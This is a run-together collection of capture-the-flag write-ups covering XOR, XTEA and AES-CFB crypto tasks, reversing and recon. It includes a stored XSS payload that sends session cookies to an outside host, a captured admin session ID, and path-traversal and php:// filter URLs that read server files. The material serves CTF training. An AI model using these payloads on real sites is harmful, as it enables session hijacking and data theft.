http://www.caesum.com/handbook/Stegsolve.jar[stegsolve.jar]: http://www.caesum.com/handbook/Stegsolve.jar[Steghide]: http://steghide.sourceforge.net/[IDA Pro]: https://www.hex-rays.com/products/ida/[Wireshark]: https://www.wireshark.org/[Bro]: https://www.bro.org/[Meterpreter]: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/[Metasploit]: http://www.metasploit.com/[Burpsuite]: https://portswigger.net/burp/[xortool]: https://github.com/hellman/xortool[sqlmap]: http://sqlmap.org/[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/wiki/Downloads[VBScript Decoder]: https://gist.github.com/bcse/1834878[quipqiup.com]: http://quipqiup.com/[EXIFTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[Scalpel]: https://github.com/sleuthkit/scalpel[Ryan's Tutorials]: http://ryanstutorials.net[Linux Fundamentals]: http://linux-training.be/linuxfun.pdf[USCGA]: http://uscga.edu[Cyberstakes]: https://cyberstakesonline.com/[Crackmes.de]: http://crackmes.de/[Nuit Du Hack]: http://wargame.nuitduhack.com/[Hacking-Lab]: https://www.hacking-lab.com/index.html[FlareOn]: http://www.flare-on.com/[The Second Extended Filesystem]: http://www.nongnu.org/ext2-doc/ext2.html[GIF]: https://en.wikipedia.org/wiki/GIF[PDFCrack]: http://pdfcrack.sourceforge.net/index.html[Hexcellents CTF Knowledge Base]: http://security.cs.pub.ro/hexcellents/wiki/home[GDB]: https://www.gnu.org/software/gdb/[The Linux System Administrator's Guide]: http://www.tldp.org/LDP/sag/html/index.html[aeskeyfind]: https://citp.princeton.edu/research/memory/code/[rsakeyfind]: https://citp.princeton.edu/research/memory/code/[Easy Python Decompiler]: http://sourceforge.net/projects/easypythondecompiler/[factordb.com]: http://factordb.com/[Volatility]: https://github.com/volatilityfoundation/volatility[Autopsy]: http://www.sleuthkit.org/autopsy/[ShowMyCode]: http://www.showmycode.com/[HTTrack]: https://www.httrack.com/[theHarvester]: https://github.com/laramies/theHarvester[Netcraft]: http://toolbar.netcraft.com/site_report/[Nikto]: https://cirt.net/Nikto2[PIVOT Project]: http://pivotproject.org/[InsomniHack PDF]: http://insomnihack.ch/wp-content/uploads/2016/01/Hacking_like_in_the_movies.pdf[radare]: http://www.radare.org/r/[radare2]: http://www.radare.org/r/[foremost]: https://en.wikipedia.org/wiki/Foremost_%28software%29[ZAP]: https://github.com/zaproxy/zaproxy[Computer Security Student]: https://www.computersecuritystudent.com/HOME/index.html[Vulnerable Web Page]: http://testphp.vulnweb.com/[Hipshot]: https://bitbucket.org/eliteraspberries/hipshot[John the Ripper]: https://en.wikipedia.org/wiki/John_the_Ripper[hashcat]: http://hashcat.net/oclhashcat/[fcrackzip]: http://manpages.ubuntu.com/manpages/hardy/man1/fcrackzip.1.html[Whitehatters Academy]: https://www.whitehatters.academy/[gn00bz]: http://gnoobz.com/[Command Line Kung Fu]:http://blog.commandlinekungfu.com/[Cybrary]: https://www.cybrary.it/[Obum Chidi]: https://obumchidi.wordpress.com/[ksnctf]: http://ksnctf.sweetduet.info/[ToolsWatch]: http://www.toolswatch.org/category/tools/[Net Force]:https://net-force.nl/[Nandy Narwhals]: http://nandynarwhals.org/[CTFHacker]: http://ctfhacker.com/[Tasteless]: http://tasteless.eu/[Dragon Sector]: http://blog.dragonsector.pl/[pwnable.kr]: http://pwnable.kr/[reversing.kr]: http://reversing.kr/[DVWA]: http://www.dvwa.co.uk/[Damn Vulnerable Web App]: http://www.dvwa.co.uk/[b01lers]: https://b01lers.net/[Capture the Swag]: https://ctf.rip/[pointer]: https://en.wikipedia.org/wiki/Pointer_%28computer_programming%29[call stack]: https://en.wikipedia.org/wiki/Call_stack[return statement]: https://en.wikipedia.org/wiki/Return_statement[return address]: https://en.wikipedia.org/wiki/Return_statement[disassemble]: https://en.wikipedia.org/wiki/Disassembler[less]: https://en.wikipedia.org/wiki/Less_%28Unix%29[puts]: http://pubs.opengroup.org/onlinepubs/009695399/functions/puts.html[disassembly]: https://en.wikibooks.org/wiki/X86_Disassembly[PLT]: https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html[Procedure Lookup Table]: http://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got[environment variable]: https://en.wikipedia.org/wiki/Environment_variable[getenvaddr]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[getenvaddr.c]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[file]: https://en.wikipedia.org/wiki/File_%28command%29[mplayer]: http://www.mplayerhq.hu/design7/news.html[Audacity]: http://audacityteam.org/[john]: http://www.openwall.com/john/[unshadow]: http://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/[HTML script]: http://www.w3schools.com/tags/tag_script.asp[jQuery]: https://jquery.com/[diff]: http://linux.die.net/man/1/diff[Chrome]: https://www.google.com/chrome/browser/desktop/
##Xor with static key (Crypto, 500p) You are in this GAME. A critical mission, and you are surrounded by the beauties, ready to shed their slik gowns on your beck. On onside your feelings are pulling you apart and another side you are called by the duty. The biggiest question is seX OR success? The signals of subconcious mind are not clear, cryptic. You also have the message of heart which is clear and cryptic. You just need to use three of them and find whats the clear message of your Mind... What you must do? ###PL[ENG](#eng-version) Dostajemy 3 pliki: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt) Na podstawie dwóch pierwszych plików należy ustalić algorytm szyfrowania a następnie zdekodować trzeci plik.Treść zadania sugeruje, że szyfrowanie to XOR.W związku z tym wyciągamy klucz szyfrowania korzystając a zależności: `Plaintext xor Key = Ciphertex` => `Paintext xor Ciphertext = Key` Zadanie rozwiązujemy prostym skryptem: ```pythonimport codecs name = "Heart_clear.txt"name2 = "Heart_crypt.txt"with codecs.open(name) as input_file: with codecs.open(name2) as input_file2: data = input_file.read() data2 = input_file2.read() xor_key = [(ord(x) ^ ord(y)) for (x, y) in zip(data, data2)] print(xor_key) print("".join([chr(x) for x in xor_key])) with codecs.open("Mind_crypt.txt") as crypto: data = crypto.read() print("".join(chr(xor_key[i] ^ ord(x)) for i, x in enumerate(data)))``` Który daje nam klucz: `Its right there what you are looking for.` oraz link:https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en Nie bardzo wiedzieliśmy co dalej zrobić, ponieważ link nie był flagą.W końcu wpadliśmy na to żeby wysłać tytuł "strony" `Never Miss a Game` i to okazało sie flagą. ###ENG version We get 3 files: [plaintext 1](Heart_clear.txt), [ciphertext 1](Heart_crypt.txt), [ciphertext 2](Mind_crypt.txt) Using the first two we are supposed to figure out the algorithm and then decode the third file.Task description suggests XOR encryption.Therefore we proceed to recoved XOR key using the fact that: `Plaintext xor Key = Ciphertex` => `Paintext xor Ciphertext = Key` We solve the task with simple script: ```pythonimport codecs name = "Heart_clear.txt"name2 = "Heart_crypt.txt"with codecs.open(name) as input_file: with codecs.open(name2) as input_file2: data = input_file.read() data2 = input_file2.read() xor_key = [(ord(x) ^ ord(y)) for (x, y) in zip(data, data2)] print(xor_key) print("".join([chr(x) for x in xor_key])) with codecs.open("Mind_crypt.txt") as crypto: data = crypto.read() print("".join(chr(xor_key[i] ^ ord(x)) for i, x in enumerate(data)))``` And we get the key: `Its right there what you are looking for.`and a link:https://play.google.com/store/apps/collection/promotion_3001629_watch_live_games?hl=en At this point we were puzzled and didn't know how to proceed since the link was not a flag. However at some point we tried to send the "title" of the page as flag `Never Miss a Game` and it turned out to be ok.
[](ctf=tum-ctf-teaser-2015)[](type=rev)[](tags=xtea)[](tool=pwntools) # whitebox crypto (rev 20) So we have an [executable](../xtea) Problem statement```Do not panic, it's only XTEA! I wonder what the key was...``` Little bit of google we get this piece of code from [Wikipedia](https://en.wikipedia.org/wiki/XTEA)```cvoid encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; for (i=0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } v[0]=v0; v[1]=v1;}```Given file```bash$ file ./xtea./xtea: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=331f96cc8eefbf07d5752cf9e8cf4facb32ba8ff, not stripped``` A little bit of analysis shows we have to give something as argv[1] of length 16 as input ```bash$ ./xtea AAAAAAAAAAAAAAAA4a584fe6 116e650b``` It returns the input "encrypted". We have to find the key.The code from Wikipedia says key[4] would be having 4 blocks of length 4. So the key is of length 16.sum=0 at the start of the process and it cumulatively adds delta to it which is added to key[i] in some fashion.We see an encipher function in the file. ```objdumpgdb-peda$ pdisass encipherDump of assembler code for function encipher: 0x00000000004005a0 <+0>: mov ecx,DWORD PTR [rdi+0x4] 0x00000000004005a3 <+3>: push r12 0x00000000004005a5 <+5>: push rbp 0x00000000004005a6 <+6>: push rbx 0x00000000004005a7 <+7>: mov edx,ecx 0x00000000004005a9 <+9>: mov eax,ecx 0x00000000004005ab <+11>: shr edx,0x5 0x00000000004005ae <+14>: shl eax,0x4 0x00000000004005b1 <+17>: xor eax,edx 0x00000000004005b3 <+19>: add eax,ecx 0x00000000004005b5 <+21>: xor eax,0x7b707868 0x00000000004005ba <+26>: add eax,DWORD PTR [rdi] 0x00000000004005bc <+28>: mov r10d,eax 0x00000000004005bf <+31>: mov edx,eax 0x00000000004005c1 <+33>: shl eax,0x4 0x00000000004005c4 <+36>: shr r10d,0x5 0x00000000004005c8 <+40>: xor r10d,eax 0x00000000004005cb <+43>: add r10d,edx 0x00000000004005ce <+46>: xor r10d,0x1b58ea2e 0x00000000004005d5 <+53>: lea r11d,[r10+rcx*1] 0x00000000004005d9 <+57>: mov r9d,r11d 0x00000000004005dc <+60>: mov eax,r11d 0x00000000004005df <+63>: shl eax,0x4 0x00000000004005e2 <+66>: shr r9d,0x5 0x00000000004005e6 <+70>: xor r9d,eax 0x00000000004005e9 <+73>: add r9d,r11d 0x00000000004005ec <+76>: xor r9d,0xba9ae30 0x00000000004005f3 <+83>: lea eax,[r9+rdx*1] 0x00000000004005f7 <+87>: mov r12d,eax 0x00000000004005fa <+90>: mov edx,eax 0x00000000004005fc <+92>: shl edx,0x4 0x00000000004005ff <+95>: shr r12d,0x5 0x0000000000400603 <+99>: xor r12d,edx 0x0000000000400606 <+102>: add r12d,eax 0x0000000000400609 <+105>: xor r12d,0x9bd661db 0x0000000000400610 <+112>: lea r10d,[r12+r11*1] 0x0000000000400614 <+116>: mov r8d,r10d 0x0000000000400617 <+119>: mov edx,r10d 0x000000000040061a <+122>: shl edx,0x4 0x000000000040061d <+125>: shr r8d,0x5 0x0000000000400621 <+129>: xor r8d,edx 0x0000000000400624 <+132>: add r8d,r10d 0x0000000000400627 <+135>: xor r8d,0x9bd661db 0x000000000040062e <+142>: lea r9d,[r8+rax*1] 0x0000000000400632 <+146>: mov ebp,r9d 0x0000000000400635 <+149>: mov eax,r9d 0x0000000000400638 <+152>: shl eax,0x4 0x000000000040063b <+155>: shr ebp,0x5 0x000000000040063e <+158>: xor ebp,eax 0x0000000000400640 <+160>: add ebp,r9d 0x0000000000400643 <+163>: xor ebp,0x4818a1a2 0x0000000000400649 <+169>: lea r12d,[rbp+r10*1+0x0] . . . ```Looking at it we can say the key is hardcoded here.So we start with sum=0 and keep it increasing by delta .The hardcoded values in hex are (sum + key[sum & 3]) and (sum + key[(sum>>11) & 3])Little bit of unpacking to do. ```python>>> from pwn import *>>> p32(0x7b707868)'hxp{'>>> delta=0x9e3779b9>>> p32((0x1b58ea2e-delta)&0xffffffff)'up!}'>>> p32((0xba9ae30-delta)&0xffffffff)'w4rm'>>> p32((0x9bd661db-delta*2)&0xffffffff)'ing_'``` gives us flag>hxp{w4rming_up!}
##Cook (Recon, 300p) Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. whats the name of his site. By the way he loves and hogs on "Onion Kheer". Have you heard of "Onion Kheer"? ###PL[ENG](#eng-version) Szukając `a social home for each of our passions` trafiamy na: https://plus.google.com/+bibhutibhusanPanigrahyneedrecipes/posts/W96mixP2FYE które linkuje do strony `affimity.com` co też jest flagą w zadaniu. ###ENG version Searching for `a social home for each of our passions` we find:https://plus.google.com/+bibhutibhusanPanigrahyneedrecipes/posts/W96mixP2FYE which is linking to `affimity.com` which is the flag.
# Simple - Crypto 100 problem In this challenge, we have the ability to log into a website with a usernameand password. These are stored in a json blob, along with the dictionaryelement `"db":"hitcon-ctf"`. This json blob is then encrypted with AES in CFBmode and saved as a cookie. Our goal is to get the json blob to also encode`"admin":true`. To do this, we feed in a message of length 81, just over 5 blocks. This has afinal 17 bytes of plaintext as `db":hitcon-ctf"}`, but we want it to be`":1,"admin":true}`. We simply use xor to convert the last full block of text,leaving just the last byte corrupted due to propogation in CFB. To solve thiswe simply guess random characters for the last byte of ciphertext until weget our flag: `hitcon{WoW_CFB_m0dE_5o_eAsY}`
So, we are on a page to leave comments on the site, and the goal is to log in as admin. Let me think... I can bet it's an XSS exploit, but let do some search.We found that there is at least two more pages : admin.php and login.php.We're trying an easy payload for XSS on the comments section : < img src="bla" onError="window.location = 'http://blakl.is/'+document.cookie;"></ img>And, bingo! I receive a cookie from a PhantomJS user in  webserver my access.log :213.233.185.27 - - [05/Feb/2016:14:36:46 +0000] "GET /PHPSESSID=515386866780b5f132fc96c02b3ddb82 HTTP/1.1" 404 492 "http://172.17.118.91:8083/privateindex.php?id=sec0d" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.0 Safari/534.34"Just use this cookie and browse admin.php to have the flag : dcfda075814e72c8a206e115914fd50b
if you need some informations or CTF link or PNGs and JPG can you Contact Me : FB.com/belcaid.mohammedGreetZ To: r00ts team - Red Army - Soviet Bear#Subscribe + #Like + #Share and thank you !!
So, we're beginning with a login page, and nothing else.We were trying fastly some SQL injection payload and find that it seems to be a Blind SQL Injection (edit: it seems it wasn't. Damn it!). So... we just want to retrieve the first password from the database. Let's try it out!I just make a little and dirty php script to make it a little faster. Here it is : <span></span>We fastly find that the hash for the admin user is 26a340b11385ebc2db3b462ec2fdfda4, that can be reverted to a plain password that is "<span>catchme8". The login is admin. So let's login with it.We're on an admin part that permit to launch some ping on a host and upload a CV. It seems there is a help.pdf file in the menu, but it's returning 404 error. Just looking the url : http://ctf.sharif.edu:35455/chal/hackme/c0612cb67577a1e8/file.php?page=aGVscC5wZGYThe page parameter seems to be some b64 encode, and it is effectively the one for "help.pdf". Just try to base64_encode ../index.php to view if there is a possibility of downloading the index.php : http://ctf.sharif.edu:35455/chal/hackme/c0612cb67577a1e8/file.php?page=Li4vaW5kZXgucGhw.Yes it is, it ask us to download a pdf file! Just open it with a text editor to view the source.Seems there is nothing really interesting but a line keep my attention : </span>shpaMessagePush("error: saved in sensitive_log_881027.txt");<span></span>Just try to download this filehttp://ctf.sharif.edu:35455/chal/hackme/c0612cb67577a1e8/file.php?page=Li4vc2Vuc2l0aXZlX2xvZ184ODEwMjcudHh0The flag were in it!
This challenge was a little blog about technology, with very few content.Looking at the source code, we can see static files are in files/images/. Just get a look to files/ directory. There is a flag directory!Be sure there is something like a flag.txt or flag.jpg in it. But we don't have the permission to read what's in.Looking closely to the source code, we can view that there is an image called by a script "images.php". Interesting, maybe it has the permission to read in the flag directory. Just try it.http://ctf.sharif.edu:31455/chal/technews/6ebb0f4f44b73fb0/images.php?id=files/flag/flag.txtIt seems it doesn't accept files our file. Let's trying to use php filter to see if we can retrieve content from a file.http://ctf.sharif.edu:31455/chal/technews/6ebb0f4f44b73fb0/images.php?id=php://filter/convert.base64-encode/resource=files/images/heart.jpgIt returns our image, but not the b64 string of it. Strange behavior. After some test, we saw that it seems to retrieve the content of the resource with a regex to avoid us to use a php filter. It seems there is something about it! Just to try, I tested the following : http://ctf.sharif.edu:31455/chal/technews/6ebb0f4f44b73fb0/images.php?id=php://abcdresource=files/flag/heart.jpgIt still display our image, so I imagined it's using a regex like ^php://.*resource=(.*)$ and inject the capture into the variable that manage the file that will be loaded.So, we're trying to espace this regex and tryhttp://ctf.sharif.edu:31455/chal/technews/6ebb0f4f44b73fb0/images.php?id=php://abcdresource=files/flag/heart.jpg/resource=index.phpIt tells us that is not a valid image... it's a good sign! Just use curl to have the result instead of an interpretation from the browser.Now we can load file we want, just trying with flag.txthttp://ctf.sharif.edu:31455/chal/technews/6ebb0f4f44b73fb0/images.php?id=php://abcdresource=files/flag/heart.jpg/resource=files/flag/flag.txtAnd now, we're getting the flag!
## SRM (Reverse, 50p) > The flag is : The valid serial number> [Download](RM.exe) ###ENG[PL](#pl-version) We downloaded windows binary and run it. It asks us to enter serial and checks its validity. We disasembled it, and checked content of its DialogFunc. We can clearly see interesting fragment: ```cif (strlen(v13) != 16 || v13[0] != 67 || v25 != 88 || v13[1] != 90 || v13[1] + v24 != 155 || v13[2] != 57 || v13[2] + v23 != 155 || v13[3] != 100 || v22 != 55 || v14 != 109 || v21 != 71 || v15 != 113 || v15 + v20 != 170 || v16 != 52 || v19 != 103 || v17 != 99 || v18 != 56 ) { // FAIL } else { // OK }``` Different xXX stand for different characters of input - using debugger it's easy to check which variable is which character.Reversing this check took a while, because every comparsion had to be implemented, but when we succeeded, we get valid serial that turned out to be flag: CZ9dmq4c8g9G7bAX ###PL version Pobieramy windowsową binarkę i uruchamiamy. Prosi ona o podanie serialu i sprawdza jego poprawność. Disasemblujemy ją więc, i patrzymy na zawartośc DialogFunc. Od razu widać ciekawy fragment: ```cif (strlen(v13) != 16 || v13[0] != 67 || v25 != 88 || v13[1] != 90 || v13[1] + v24 != 155 || v13[2] != 57 || v13[2] + v23 != 155 || v13[3] != 100 || v22 != 55 || v14 != 109 || v21 != 71 || v15 != 113 || v15 + v20 != 170 || v16 != 52 || v19 != 103 || v17 != 99 || v18 != 56 ) { // FAIL } else { // OK }``` Różne vXX odpowiadają za różne znaki inputu - łatwo dojść do tego które odpowiadają za które przy użyciu debuggera.Reversowanie tego zajęło chwilę bo trzeba było porównać wszystkie znaki, ale kiedy się udało, otrzymaliśmy poprawny serial, będący równoczesnie flagą: CZ9dmq4c8g9G7bAX
## dMd (Reverse, 50p) > Flag is : The valid input> [Download](dMd) ###ENG[PL](#pl-version) We downloaded the program and started analysing it with help of disasembler. Skipping boring parts, most important part of program was looking like: ```cint main() { // ... input = md5(input); // ... if (input[0] != 55 || input[1] != 56 || input[2] != 48 || input[3] != 52 || input[4] != 51 || input[5] != 56 || input[6] != 100 || input[7] != 53 || input[8] != 98 || input[9] != 54 || input[10] != 101 || input[11] != 50 || input[12] != 57 || input[13] != 100 || input[14] != 98 || input[15] != 48 || input[16] != 56 || input[17] != 57 || input[18] != 56 || input[19] != 98 || input[20] != 99 || input[21] != 52 || input[22] != 102 || input[23] != 48 || input[24] != 50 || input[25] != 50 || input[26] != 53 || input[27] != 57 || input[28] != 51 || input[29] != 53 || input[30] != 99 || input[31] != 48 ) { // FAIL } else { // OK }}``` We just concatenated all hash characters and got to: 780438d5b6e29db0898bc4f0225935c0 This is equal to md5("b781cbb29054db12f88f08c6e161c199"), so that's what the flag is. Interesting fact, that text is also equal to md5(md5("grape")), so that's probably how task authors generated that hash. ###PL version Pobieramy program i analizujemy go za pomocą disasemblera. Żeby nie przedłużać, widać najważniejsze miejsce programu od razu: ```cint main() { // ... input = md5(input); // ... if (input[0] != 55 || input[1] != 56 || input[2] != 48 || input[3] != 52 || input[4] != 51 || input[5] != 56 || input[6] != 100 || input[7] != 53 || input[8] != 98 || input[9] != 54 || input[10] != 101 || input[11] != 50 || input[12] != 57 || input[13] != 100 || input[14] != 98 || input[15] != 48 || input[16] != 56 || input[17] != 57 || input[18] != 56 || input[19] != 98 || input[20] != 99 || input[21] != 52 || input[22] != 102 || input[23] != 48 || input[24] != 50 || input[25] != 50 || input[26] != 53 || input[27] != 57 || input[28] != 51 || input[29] != 53 || input[30] != 99 || input[31] != 48 ) { // FAIL } else { // OK }}``` Po zebraniu wszystkich znaków, otrzymujemy 780438d5b6e29db0898bc4f0225935c0 Jest to md5("b781cbb29054db12f88f08c6e161c199"), i to wprowadzamy jako flagę. Co ciekawe, jest to też md5(md5("grape")), ale nie ma to wpływu na rozwiązanie zadania.
A tiny tiny shell script :)English version : https://0x90r00t.com/2016/02/07/sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-wri...Version Française : https://0x90r00t.com/fr/2016/02/07/sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-...